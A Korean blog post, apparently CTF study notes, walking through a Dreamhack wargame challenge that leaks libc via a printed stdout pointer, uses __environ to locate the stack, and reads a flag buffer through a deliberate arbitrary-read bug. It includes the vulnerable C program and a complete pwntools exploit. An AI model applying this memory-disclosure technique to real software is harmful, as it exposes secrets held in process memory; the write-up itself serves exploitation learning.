System Hacking

linux library exploit :: __environ

burrri 2024. 3. 29. 11:27

환경변수

: 시스템의 정보를 가지고 있는 동적인 값, 사용자가 추가 및 수정, 삭제 가능

: 환경변수에 대한 정보는 스택 영역에 존재 

명령어 > 환경변수에 명시된 "/bin", "/usr/bin" 등의 디렉터리를 통해 명령어 접근 및 실행

라이브러리 실행 시에도 환경변수를 참조 (== 포인터 선언 존재) >> 스택 주소 획득 ! 

(바이너리 내에서 스택 주소를 찾는 것은 거의 불가능) 

 

전역 변수 __environ

: execve 계열 함수와 getenv 등 혼경변수와 관련된 함수에서 참조하는 변수

 


__environ

https://dreamhack.io/wargame/challenges/363/

 

checksec

- amd64-64

- full RELRO, canary, nx, pie 싹 다 적용

 

코드

#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>

void sig_handle() {
  exit(0);
}
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  signal(SIGALRM, sig_handle);
  alarm(5);
}

void read_file() {
  char file_buf[4096];
  //flag 파일에 접근
  int fd = open("./flag", O_RDONLY);
  read(fd, file_buf, sizeof(file_buf) - 1);
  close(fd);
}
int main() {
  char buf[1024];
  long addr;
  int idx;

  init();
  read_file();
  // stdout 주소 노출
  printf("stdout: %p\n", stdout);

  while (1) {
    printf("> ");
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        // 임의 주소 읽기 취약점
        printf("Addr: ");
        scanf("%ld", &addr);
        printf("%s", (char *)addr);
        break;
      default:
        break;
    }
  }
  return 0;
}

 

 

시나리오

1. __environ 주소 계산

   stdout 포인터 주소 >> libc  주소 >> __environ 포인터 주소

 

2. stack 주소 계산

   "./flag" 파일의 내용이 저장된 stack 버퍼 주소 계산

 

3. 파일 내용 read

   임의 주소 읽기 취약점을 통해 해당 스택 버퍼 출력 

 

Exploit

1. __environ 주소 계산

  이전의 linux library :: _rtld 의 실습과 동일하다. 

from pwn import *

p = remote("host3.dreamhack.games", 8306)
elf = ELF('/lib/x86_64-linux-gnu/libc.so.6')

p.recvuntil(b': ')
stdout = int(p.recvuntil(b'\n'),16)
libc_base = stdout - elf.symbols['_IO_2_1_stdout_']
libc_environ = libc_base + elf.symbols['_environ']

print('libc_base: ', hex(libc_base))
print('libc_environ: ', hex(libc_environ))

p.interactive()

 

2. stack 주소 계산

   "./flag" 파일의 내용이 저장된 stack 버퍼 주소 계산

임의 주소 읽기 취약점을 통해 해당 스택 버퍼 출력 

: read_file의 함수 읽기 부분에서 읽어올 함수 인자 확인하면 파일의 내용은 rcx 레지스터에 저장됨!

-> 해당 주소에 파일의 내용이 저장될 스택 버퍼 주소 :: rcx 확인

read_file +93

해당 지점에 bp걸고 r하여 rcx값 알아내고 

{p/x __environ} - {x/gx $rcx} 값 을 구하면 0x1568임을 알 수 있다.

 

 

3. 파일 내용 read

두 주소의 간격을 알아냈음으로 1번에서 알아낸 _environ addr에서 0x1568을 빼면 stack위치 알 수있다.

이를 임의 주소읽기 취약점을 통해서 알아내보자.

# ++

p.sendlineafter(b'>', b'1')
p.sendlineafter(b':', str(libc_environ).encode())
p.recv(1)
# 받은 값을 8바이트로 패딩 후, 64비트로 변환 
stack_environ = u64(p.recv(6).ljust(8, b'\x00'))

file_content = stack_environ - 0x1568
print('stack_environ..', hex(stack_environ))

p.sendlineafter(b'>', b'1')
p.sendlineafter(b':', str(file_content).encode())
p.interactive()

   

 

Exploit code

from pwn import *

p = remote("host3.dreamhack.games", 8306)
elf = ELF('/lib/x86_64-linux-gnu/libc.so.6')

p.recvuntil(b': ')
stdout = int(p.recvuntil(b'\n'),16)
libc_base = stdout - elf.symbols['_IO_2_1_stdout_']
libc_environ = libc_base + elf.symbols['_environ']

print('libc_base: ', hex(libc_base))
print('libc_environ: ', hex(libc_environ))

# ++

p.sendlineafter(b'>', b'1')
p.sendlineafter(b':', str(libc_environ).encode())
p.recv(1)
# 받은 값을 8바이트로 패딩 후, 64비트로 변환 
stack_environ = u64(p.recv(6).ljust(8, b'\x00'))

file_content = stack_environ - 0x1568
print('stack_environ..', hex(stack_environ))

p.sendlineafter(b'>', b'1')
p.sendlineafter(b':', str(file_content).encode())
p.interactive()

 

 

 

'System Hacking' 카테고리의 다른 글

_IO_FILE  (0) 2024.03.30
SigReturn-Oriented Programming  (0) 2024.03.30
linux library exploit :: _rtld_global  (0) 2024.03.28
Master Canary  (2) 2024.03.24
SECCOMP  (0) 2024.03.23